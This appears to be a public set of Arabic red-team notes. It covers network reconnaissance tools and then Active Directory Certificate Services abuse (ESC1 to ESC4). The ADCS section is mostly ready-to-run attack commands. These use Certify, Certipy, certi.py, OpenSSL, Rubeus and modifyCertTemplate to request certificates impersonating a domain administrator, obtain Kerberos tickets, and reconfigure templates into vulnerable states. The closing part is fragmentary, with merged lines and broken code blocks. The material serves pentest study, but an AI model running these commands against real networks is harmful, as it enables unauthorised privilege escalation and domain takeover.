
ملاحظات RedTeam/Pentest وتجارب تم اختبارها على عدة بنى تحتية مرتبطة بالمهام المهنية.
ملاحظات متاحة للعموم حول تجارب اختبار الاختراق/الاختراق الأحمر التي تم اختبارها على عدة بيئات/بنى تحتية خاضعة للتحكم، والتي تتضمن استخدام أدوات وتقنيات متنوعة يستخدمها مختبرو الاختراق وفِرق الاختراق الأحمر أثناء تقييم أمني.
نرحب بالمساهمات عبر طلبات السحب على جيتهاب.
التقدير والشكر للأشخاص الذين قاموا بالعمل الشاق.
إخلاء مسؤولية
لأغراض تعليمية فقط، استخدمه على مسؤوليتك الخاصة.
جمع معلومات عن اسم المجال وأجهزة Windows العاملة في الشبكة.```bash bash$ cd /usr/share/Responder/tools bash$ sudo python RunFinger.py -i 192.168.1.1/24
أو```bash
bash$ responder-RunFinger
مسح شبكات IP للحصول على معلومات اسم NetBIOS.```bash bash$ sudo nbtscan -v -s : 192.168.1.0/24
## Crackmapexec v 4.0
مسح نطاق الشبكة بناءً على معلومات SMB```bash
bash$ cme smb 192.168.1.1/24
قم بمسح جميع شبكة الجهاز واحفظ المخرجات.
فحص مكثف (ملاحظة موصى بها):```bash
bash$ nmap -p 1-65535 -Pn -A -oA output target_IP
المسح مع تعداد إصدار الخدمات الجارية :
## ماسح IP الغاضب
قم بتنزيل الأداة من هذا الرابط:
[Angry IP Scanner](http://angryip.org/download/#linux)
* تغيير إعدادات التفضيلات
> اذهب إلى: التفضيلات -> المنافذ -> أضف 80,445,554,21,22 في اختيار المنفذ <br>
> اذهب إلى: التفضيلات -> العرض -> حدد الأجهزة الحية <br>
> اذهب إلى: التفضيلات -> إرسال طلب -> حددمج (UDP/TCP)
# الحركة الجانبية والاستغلال
### خدمات شهادات Active Directory
تم نسخ هذا الجزء من https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#esc1---misconfigured-certificate-templates
<br>لمزيد من التفاصيل، تحقق من: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
(تم اختباره في بيئة خاصة (Bloodhound ثم استغلال ESC1)
* العثور على خادم ADCS
* `crackmapexec ldap domain.lab -u username -p password -M adcs`
* `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
* تعداد مؤسسات شهادات AD Enterprise باستخدام certutil: `certutil.exe -config - -ping`, `certutil -dump`
#### ESC1 - قوالب الشهادات التي تم تكوينها بشكل خاطئ
> يمكن لمستخدمي المجال التسجيل في قالب **VulnTemplate**، والذي يمكن استخدامه لمصادقة العميل وقد تم تعيين **ENROLLEE_SUPPLIES_SUBJECT** عليه. وهذا يسمح لأي شخص بالتسجيل في هذا القالب وتحديد اسم بديل تعسفي للموضوع (أي كمسؤول مجال). يسمح بربط هويات إضافية بشهادة تتجاوز الموضوع.
المتطلبات:
* قالب يسمح بمصادقة AD
* علامة **ENROLLEE_SUPPLIES_SUBJECT**
* [PKINIT] مصادقة العميل، تسجيل دخول البطاقة الذكية، أي غرض، أو لا يوجد EKU (استخدام المفتاح الموسع/المحسّن)
الاستغلال:
* استخدم [Certify.exe](https://github.com/GhostPack/Certify) لمعرفة ما إذا كانت هناك أي قوالب ضعيفة
```ps1
Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser
# أو
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
# أو
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
```
* استخدم Certify أو [Certi](https://github.com/eloypgz/certi) أو [Certipy](https://github.com/ly4k/Certipy) لطلب شهادة وإضافة اسم بديل (المستخدم المراد انتحال هويته)
```ps1
# طلب شهادات لحساب الجهاز عن طريق تنفيذ Certify مع الوسيطة "/machine" من موجه أوامر مرتفع.
Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSAN
certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC1' -alt '[email protected]'
```
* استخدم OpenSSL وقم بتحويل الشهادة، لا تدخل كلمة مرور
```ps1
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```
* انقل ملف cert.pfx إلى نظام الملفات للجهاز الهدف واطلب TGT للمستخدم البديل باستخدام Rubeus
```ps1
Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
```
**تحذير**: ستظل هذه الشهادات قابلة للاستخدام حتى إذا قام المستخدم أو الكمبيوتر بإعادة تعيين كلمة مروره!
**ملاحظة**: ابحث عن قيم **EDITF_ATTRIBUTESUBJECTALTNAME2** و **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT** و **ManageCA**، و NTLM Relay إلى نقاط نهاية HTTP لـ AD CS.
#### ESC2 - قوالب الشهادات التي تم تكوينها بشكل خاطئ
المتطلبات:
* يسمح لمقدمي الطلبات بتحديد اسم بديل للموضوع (SAN) في CSR وكذلك يسمح بأي غرض EKU (2.5.29.37.0)
الاستغلال:
* العثور على القالب ```ps1
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
/altname كمسؤول مجال كما في ESC1.ESC3 يحدث عندما يحدد قالب الشهادة EKU وكيل طلب الشهادة (وكيل التسجيل). يمكن استخدام هذا EKU لطلب شهادات نيابة عن مستخدمين آخرين
تمكين علامة
mspki-certificate-name-flagلقالب يسمح بالمصادقة على المجال، يسمح للمهاجمين بـ "دفع سوء تهيئة إلى قالب يؤدي إلى ثغرة ESC1".
WriteProperty بالقيمة 00000000-0000-0000-0000-000000000000 باستخدام modifyCertTemplate ```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
ENROLLEE_SUPPLIES_SUBJECT (ESS) لتنفيذ ESC1 ```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag